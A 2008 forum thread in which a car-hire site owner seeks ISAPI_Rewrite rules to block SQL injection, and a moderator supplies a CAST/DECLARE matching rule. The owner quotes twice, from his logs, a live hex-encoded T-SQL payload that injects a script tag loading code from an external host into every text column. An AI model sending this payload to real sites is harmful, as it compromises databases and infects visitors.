Active TopicsActive Topics  Display List of Forum MembersMemberlist  HelpHelp   RegisterRegister  LoginLogin
ISAPI_Rewrite 3.0 support forum
 Helicon Tech : ISAPI_Rewrite 3.0 support forum
Subject Topic: Help with a rule Post ReplyPost New Topic
Author
Message << Prev Topic | Next Topic >>
paintwork
Newbie
Newbie


Joined: 08 August 2008
Online Status: Offline
Posts: 15
Posted: 17 September 2008 at 10:18pm | IP Logged Quote paintwork

Hi,  we are getting a lot of what appears to be sql hijack attempts using the following:

/Car-Hire/USA-Car-Hire/Pensacola-Airport- ;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S)

Following a thread I found on the internet , I found this rule, but when I try to implement it , it rewrites every http request to the error page..

#RewriteCond %{REQUEST_URI} ^(.*)CAST(.*) [OR]

#RewriteCond %{REQUEST_URI} ^(.*)DECLARE(.*) [NC,OR]

#RewriteRule ^(.*)$ error.html

My current rules are:

 

# Secure and Unsecure robots files

RewriteEngine On

RewriteBase /

#RewriteCond %HTTPS on

#RewriteRule /robots\.txt /robots_ssl.txt

 

RewriteCond %{SERVER_PORT} ^443$

RewriteRule ^robots.txt$ robots_ssl.txt

RewriteRule ^Car-Hire/Car-Hire-Cyprus/(.*)$ Car-Hire/Cyprus/$1 [NC,R=301,L]

RewriteRule ^Car-Hire/Car-Hire-Cyprus\.aspx$ Car-Hire/Cyprus\.aspx [NC,R=301,L]

 

 

Thanks

 

Scott

 
Back to Top View paintwork's Profile Search for other posts by paintwork
 
Anton
Moderator Group
Moderator Group


Joined: 30 January 2007
Location: Ukraine
Online Status: Offline
Posts: 4842
Posted: 18 September 2008 at 2:40am | IP Logged Quote Anton
Can you please explain how do you want to apply the above rules dealing wwith sql injections.
What would you like to do with the requests containing sql injections?

__________________
Regards,
Anton
Back to Top View Anton's Profile Search for other posts by Anton
 
paintwork
Newbie
Newbie


Joined: 08 August 2008
Online Status: Offline
Posts: 15
Posted: 18 September 2008 at 3:23am | IP Logged Quote paintwork


Hi,

 

I just want to rewrite/redirect the visitor to the error.html file...

 

Thanks

 

Scott

 

 
Back to Top View paintwork's Profile Search for other posts by paintwork
 
Anton
Moderator Group
Moderator Group


Joined: 30 January 2007
Location: Ukraine
Online Status: Offline
Posts: 4842
Posted: 18 September 2008 at 4:57am | IP Logged Quote Anton
Then please put these rules after RewriteBase directive:

RewriteCond %{REQUEST_URI} ^(.*)(?:CAST|DECLARE)(.*) [NC]
RewriteRule ^(.*)$ error.html [L]

__________________
Regards,
Anton
Back to Top View Anton's Profile Search for other posts by Anton
 
paintwork
Newbie
Newbie


Joined: 08 August 2008
Online Status: Offline
Posts: 15
Posted: 18 September 2008 at 5:33am | IP Logged Quote paintwork

Hi,

 

I have tried it but I just get 400 bad request...

 

http://www.rhinocarhire.com/Car-Hire/USA-Car-Hire/Pensacola-Airport-%20;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S)

 

Thanks

 

Scott

 

 
Back to Top View paintwork's Profile Search for other posts by paintwork
 

If you wish to post a reply to this topic you must first login
If you are not already registered you must first register

  Post ReplyPost New Topic
Printable version Printable version

Forum Jump
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot delete your posts in this forum
You cannot edit your posts in this forum
You cannot create polls in this forum
You can vote in polls in this forum